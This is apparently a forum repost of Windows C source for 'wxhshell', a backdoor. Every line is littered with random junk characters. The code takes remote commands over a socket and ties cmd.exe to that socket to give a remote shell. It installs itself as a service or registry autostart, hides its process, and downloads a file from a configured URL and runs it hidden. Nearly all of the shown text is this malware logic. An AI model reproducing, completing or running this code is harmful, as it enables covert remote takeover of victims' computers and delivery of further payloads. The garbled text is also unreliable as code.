  // 帮助 .uKx>YB}  
  case '?': { 7 WP%J-   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  g#qNHR  
    break; P_}/#N{C  
  } 7b46t2W<  
  // 安装 y:,9I` aW  
  case 'i': { 8?1o<8hV  
    if(Install()) Mn@$;\:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oIR.|=Hk{  
    else U@?6*,b(.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wyzOcx>M  
    break;  uB;_vC  
    } &n|*uLn  
  // 卸载 -;>#3 O-  
  case 'r': { \vVSh  
    if(Uninstall()) t:=k)B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H_Os4}  
    else {i>Jfl]G}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $/paEn"  
    break; _88QgThb  
    } Y\p $SN  
  // 显示 wxhshell 所在路径 8R}K?+]  
  case 'p': { @!<d0_dnC  
    char svExeFile[MAX_PATH]; V&[eSVY?  
    strcpy(svExeFile,"\n\r");  U(~U!O}  
      strcat(svExeFile,ExeFile); x'qWM/  
        send(wsh,svExeFile,strlen(svExeFile),0); -`Q}tg>cT  
    break; AK*N  
    } HIGNRm  
  // 重启 m?;$;x~Dj  
  case 'b': { |s f*hlrJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |l7%l&!  
    if(Boot(REBOOT)) 4P%m>[   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E:w:4[neh  
    else { N _G4_12(  
    closesocket(wsh); vCb]%sd-U  
    ExitThread(0); q}wj}t#  
    } c 0-w6  
    break; A,BEKjR~J  
    } hwVAXsF~  
  // 关机 h!e2 +4{4{  
  case 'd': { J &{xP8uq_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Obo_YE  
    if(Boot(SHUTDOWN)) J>%t<xYf4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]*;F. pZ  
    else { Go <'  
    closesocket(wsh); 7F(5)Utt  
    ExitThread(0); 6Y7H|>g)  
    } <GF@L  
    break; #6W,6(#^#  
    } nU/;2=f<  
  // 获取shell VE]6wwV2  
  case 's': { AIh*1>2Xn  
    CmdShell(wsh); _faJB@a_  
    closesocket(wsh); \zu }\{  
    ExitThread(0); =j~Q/-`EC0  
    break; hS:jBp,  
  } +.@c{5J<  
  // 退出 XdsJwn F  
  case 'x': { ooE{V*Ie  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #s2B%X  
    CloseIt(wsh); y94kX:q  
    break; %>y;zqZIU  
    } QaQ'OrP  
  // 离开 p<5!0 2yQ\  
  case 'q': { } 0M{A+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4x,hj  
    closesocket(wsh); %l7fR}  
    WSACleanup(); PLdn#S}.  
    exit(1); kH?#B%N5  
    break; 9?EVQ  
        } 7>n"}8i  
  } MEq"}zrh  
  } <m-.aK{9  
Y"!uU.=xJ  
  // 提示信息 7pet Hi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ll<mE,  
} |0 !I5|<k  
  } <o0~H  
)acV-+{  
  return; [X/(D9J  
} \[#t<dD  
G{RTH_p  
// shell模块句柄 Mw^ *yW  
int CmdShell(SOCKET sock) Yc`<S   
{ BU6Jyuwn  
STARTUPINFO si; ^$Krub{|  
ZeroMemory(&si,sizeof(si)); ssl&5AS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8h.V4/?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oT&m4I  
PROCESS_INFORMATION ProcessInfo; gyu6YD8L  
char cmdline[]="cmd"; }c|UX ZW  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y=2Un).&  
  return 0; JsQ6l%9  
} kX2d7yQZz  
KcXpH]>!9  
// 自身启动模式 FifbxL  
int StartFromService(void) 5~r2sCDPk  
{ 'MQ%)hipA  
typedef struct B8V,)rn  
{ usOx=^?=  
  DWORD ExitStatus; P5?<_x0v4b  
  DWORD PebBaseAddress; >ttuum12w  
  DWORD AffinityMask; Acu@[ I^  
  DWORD BasePriority; pn\V+Rg'  
  ULONG UniqueProcessId; 1`-r#-MGG  
  ULONG InheritedFromUniqueProcessId; u^4h&fL  
}   PROCESS_BASIC_INFORMATION; lTz6"/  
B9M>e'H%<  
PROCNTQSIP NtQueryInformationProcess; nPA@h  
]b}B2F'n  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &erm`Ho  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DDw''  
(-"`,8K 2}  
  HANDLE             hProcess; YBjdp=als  
  PROCESS_BASIC_INFORMATION pbi; tu}>:mk  
Rs7 |}Dl}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !buz<h  
  if(NULL == hInst ) return 0; keCRvlZ4  
/fwgqFVk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {exrwnIZj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *<9$D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <z)E (J\  
tZho)[1  
  if (!NtQueryInformationProcess) return 0; ]J@/p:S>  
P!<[U!<hH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,rO[mNk9@  
  if(!hProcess) return 0; 44-r\>  
!ALZBB.r(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;n*J$B  
"s_Z&  
  CloseHandle(hProcess); kGHC]Fb)  
|_zO_Frtp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bd \=h1  
if(hProcess==NULL) return 0; MR;X&Up6!  
) Yj%#  
HMODULE hMod; EUcKN1  
char procName[255]; MCYl{uH!  
unsigned long cbNeeded; <Ar$v'W=F{  
oNYZIk:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ( ?Q|s,  
`s /?b|,  
  CloseHandle(hProcess); YQVcECj  
fL6e?\Pw  
if(strstr(procName,"services")) return 1; // 以服务启动 ?[TW<Yx  
8^ #mvHah  
  return 0; // 注册表启动 j_Nm87i]  
} n1J]p#nCa.  
U^_D|$6  
// 主模块 fRHKQ(a#  
int StartWxhshell(LPSTR lpCmdLine) hh"-w3+  
{ qrBZvJU  
  SOCKET wsl; D}{b;Un  
BOOL val=TRUE; xsP4\C>  
  int port=0; G{lcYP O  
  struct sockaddr_in door; N|dD!  
Qv{,wytyO  
  if(wscfg.ws_autoins) Install(); Zb(t3I>n  
_\zQ"y|G  
port=atoi(lpCmdLine); ISNcswN#  
oXgdLtsu  
if(port<=0) port=wscfg.ws_port; |g_g8[@`}  
@d&H]5  
  WSADATA data; 7"Mk+'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; # c Fr   
n-afDV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OW5t[~y]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qL 5>o>J  
  door.sin_family = AF_INET; 4JMiyiW&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gH7z  
  door.sin_port = htons(port); iRw&49  
Yl({)qK{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z2 hFn&  
closesocket(wsl); .<&s%{EW  
return 1; ' Q7Y-V  
} 8Y{s;U0n  
kiUk4&1  
  if(listen(wsl,2) == INVALID_SOCKET) { pIO4,VL;W  
closesocket(wsl); T>d.#  
return 1; 1FERmf? ?d  
} o0I9M?lP  
  Wxhshell(wsl); I:=dG[\h2  
  WSACleanup(); ]<trA$ 0  
ls|LCQPx  
return 0; 82:Wvp6  
x` /)g(  
} "/+zMLY  
Qn+:/ zA;  
// 以NT服务方式启动 b2) \ MNH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K1q+~4>\|  
{ <$i4?)f(  
DWORD   status = 0; <bUe/m  
  DWORD   specificError = 0xfffffff; ,+1m`9}  
X.#oEmA ,P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;L"!I3dM)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }31Z X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &m'kI  
  serviceStatus.dwWin32ExitCode     = 0; zG9|K  
  serviceStatus.dwServiceSpecificExitCode = 0; ?IhB-fd>@  
  serviceStatus.dwCheckPoint       = 0; @,OT/egF4:  
  serviceStatus.dwWaitHint       = 0; $g\&5sstE  
]z ==   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1wn&js C  
  if (hServiceStatusHandle==0) return; d7Ro}>lp  
GjT#%GBF  
status = GetLastError(); FN87^.^2S  
  if (status!=NO_ERROR) MDO$m g  
{ PuCc2'#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )&W**!(C  
    serviceStatus.dwCheckPoint       = 0; 'Pd(\$ZY  
    serviceStatus.dwWaitHint       = 0; p2O~>97t1  
    serviceStatus.dwWin32ExitCode     = status; u$*>`Xe6  
    serviceStatus.dwServiceSpecificExitCode = specificError; nzsl@1s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %J7UP4  
    return; .#w6%c@  
  } lK(Fg  
e XV@.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "v]%3i.* -  
  serviceStatus.dwCheckPoint       = 0; c:hK$C)T  
  serviceStatus.dwWaitHint       = 0; ZI13  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6NLW(?]  
} M {a #  
Le#spvV3J|  
// 处理NT服务事件,比如:启动、停止 {6,|IGAq V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LR&_2e^[  
{ m5c&&v6%"b  
switch(fdwControl) ^twivNB  
{ +wfVL|.Wq  
case SERVICE_CONTROL_STOP: /b[2lTC-e  
  serviceStatus.dwWin32ExitCode = 0; !{UTD+|=N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *b|NjwmB  
  serviceStatus.dwCheckPoint   = 0; Te-Amu  
  serviceStatus.dwWaitHint     = 0; mOBACTY^  
  { TwahR:T   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dd $qQ  
  } b>=_*nw9  
  return; zF&=U`v  
case SERVICE_CONTROL_PAUSE: N|Cs=-+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WlwY <)  
  break; 5W? PCOh\  
case SERVICE_CONTROL_CONTINUE: >FF5x#^&c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Lxe^v/LsT  
  break; ;sOsT?)7$  
case SERVICE_CONTROL_INTERROGATE: w4};q%OBj  
  break; 1,t)3;o$  
}; /bVZ::A&_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YZwaD b  
} J7$_VP  
n! h7   
// 标准应用程序主函数 n=sXSxl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v/Pw9j!r;m  
{ ?UZ?NY  
Ao.\  
// 获取操作系统版本 963aW*r  
OsIsNt=GetOsVer(); DVp5hR_$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `C72sA{M.  
(/{aJV  
  // 从命令行安装 z~oDWANP  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4 gBp8*2  
4ne5=YY *  
  // 下载执行文件 9<1F[SS<s9  
if(wscfg.ws_downexe) { TJ_=1Y@z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X` r* ob  
  WinExec(wscfg.ws_filenam,SW_HIDE); G=/k>@Di  
} gwB\<rzG  
msx-O=4g  
if(!OsIsNt) { +Ic ~ f1zh  
// 如果时win9x,隐藏进程并且设置为注册表启动 k5BXirB  
HideProc(); 3'I^lc  
StartWxhshell(lpCmdLine); PGn);Baq  
} lU4}B`#"v  
else PS>x,T  
  if(StartFromService()) [AzO:A  
  // 以服务方式启动 y-aRXF=W  
  StartServiceCtrlDispatcher(DispatchTable); W<b-r^9?s  
else ]ya; v '  
  // 普通方式启动 RrV>r<Z"Q  
  StartWxhshell(lpCmdLine); ,[rPe\w.z  
e{w>%)rcP  
return 0; :QQlI  
}
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只看该作者 1 发表于: 2006-10-10
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